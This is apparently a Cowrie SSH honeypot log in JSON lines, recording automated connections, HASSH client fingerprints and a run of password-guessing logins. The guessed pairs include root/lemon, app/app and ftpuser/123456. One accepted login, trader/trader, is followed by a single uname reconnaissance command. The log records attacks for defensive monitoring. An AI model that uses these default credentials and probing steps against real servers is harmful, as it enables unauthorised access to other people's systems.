{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:17.107721Z","src_ip":"103.172.78.219","session":"263caba26216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:17.365750Z","src_ip":"103.172.78.219","session":"263caba26216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lemon","message":"login attempt [root/lemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:18.135264Z","src_ip":"103.172.78.219","session":"263caba26216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:19.058100Z","src_ip":"43.166.242.149","session":"1c4c8c92953d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aip","password":"aip123","message":"login attempt [aip/aip123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:19.088821Z","src_ip":"43.166.242.149","session":"1c4c8c92953d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:19.393643Z","src_ip":"103.172.78.219","session":"263caba26216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:20.105591Z","src_ip":"43.166.242.149","session":"1c4c8c92953d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55056,"dst_ip":"10.17.0.5","dst_port":22,"session":"a59f3c2f28e7","protocol":"ssh","message":"New connection: 45.156.87.147:55056 (10.17.0.5:22) [session: a59f3c2f28e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:21.095144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:21.099313Z","src_ip":"45.156.87.147","session":"a59f3c2f28e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:21.180074Z","src_ip":"45.156.87.147","session":"a59f3c2f28e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:21.425698Z","src_ip":"45.156.87.147","session":"a59f3c2f28e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:21.808303Z","src_ip":"8.219.200.1","session":"d386734852cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:22.527779Z","src_ip":"45.156.87.147","session":"a59f3c2f28e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55066,"dst_ip":"10.17.0.5","dst_port":22,"session":"2adf61e659cc","protocol":"ssh","message":"New connection: 45.156.87.147:55066 (10.17.0.5:22) [session: 2adf61e659cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:26.653481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:26.658244Z","src_ip":"45.156.87.147","session":"2adf61e659cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:26.744576Z","src_ip":"45.156.87.147","session":"2adf61e659cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:27.166561Z","src_ip":"45.156.87.147","session":"2adf61e659cc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:27.358661Z","src_ip":"45.156.87.147","session":"2adf61e659cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:27.360987Z","src_ip":"45.156.87.147","session":"2adf61e659cc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:27.448225Z","src_ip":"45.156.87.147","session":"2adf61e659cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:27.452041Z","src_ip":"45.156.87.147","session":"2adf61e659cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42714,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f2572e67e0","protocol":"ssh","message":"New connection: 45.156.87.147:42714 (10.17.0.5:22) [session: 70f2572e67e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:32.253698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:32.257721Z","src_ip":"45.156.87.147","session":"70f2572e67e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:32.339839Z","src_ip":"45.156.87.147","session":"70f2572e67e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:32.588468Z","src_ip":"45.156.87.147","session":"70f2572e67e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:33.673162Z","src_ip":"45.156.87.147","session":"70f2572e67e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42724,"dst_ip":"10.17.0.5","dst_port":22,"session":"cda5ee27b2bd","protocol":"ssh","message":"New connection: 45.156.87.147:42724 (10.17.0.5:22) [session: cda5ee27b2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:37.696018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:37.703323Z","src_ip":"45.156.87.147","session":"cda5ee27b2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:37.786976Z","src_ip":"45.156.87.147","session":"cda5ee27b2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:38.041332Z","src_ip":"45.156.87.147","session":"cda5ee27b2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:39.127390Z","src_ip":"45.156.87.147","session":"cda5ee27b2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33820,"dst_ip":"10.17.0.5","dst_port":22,"session":"705f48c6185e","protocol":"ssh","message":"New connection: 45.156.87.147:33820 (10.17.0.5:22) [session: 705f48c6185e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:43.031901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:43.036069Z","src_ip":"45.156.87.147","session":"705f48c6185e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:43.117784Z","src_ip":"45.156.87.147","session":"705f48c6185e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:43.364215Z","src_ip":"45.156.87.147","session":"705f48c6185e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:44.448280Z","src_ip":"45.156.87.147","session":"705f48c6185e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49518,"dst_ip":"159.203.135.109","dst_port":22,"session":"2625a7b8620f","protocol":"ssh","message":"New connection: 80.94.92.184:49518 (159.203.135.109:22) [session: 2625a7b8620f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:45.532316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:45.552098Z","src_ip":"80.94.92.184","session":"2625a7b8620f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:45.655792Z","src_ip":"80.94.92.184","session":"2625a7b8620f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:46.915189Z","src_ip":"80.94.92.184","session":"2625a7b8620f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:48.179997Z","src_ip":"80.94.92.184","session":"2625a7b8620f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33838,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29f333c2711","protocol":"ssh","message":"New connection: 45.156.87.147:33838 (10.17.0.5:22) [session: f29f333c2711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:48.638142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:48.641049Z","src_ip":"45.156.87.147","session":"f29f333c2711","protocol":"ssh"}
